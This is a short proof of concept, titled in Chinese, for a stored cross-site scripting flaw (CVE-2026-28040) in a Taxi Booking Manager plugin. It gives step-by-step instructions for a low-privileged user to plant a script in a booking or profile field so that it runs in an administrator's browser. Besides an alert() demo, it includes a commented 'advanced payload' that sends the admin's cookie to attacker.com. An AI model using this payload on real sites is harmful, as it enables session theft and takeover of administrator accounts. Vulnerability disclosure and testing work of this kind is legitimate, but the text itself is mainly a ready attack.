CVE-2026-28040 Taxi Booking Manager存储型XSS漏洞

<!-- PoC for Stored XSS in Taxi Booking Manager --> <!-- Step 1: Login as a low-privileged user (e.g., customer) --> <!-- Step 2: Submit a booking or update profile with the following payload in a vulnerable field (e.g., name, address, or notes) --> <script> // Simple PoC to demonstrate execution alert('XSS Vulnerability Detected in CVE-2026-28040'); // Advanced payload could be: fetch('http://attacker.com/?c='+document.cookie); </script> <!-- Step 3: Wait for an admin to view the booking details in the backend --> <!-- The script will execute in the admin's browser context -->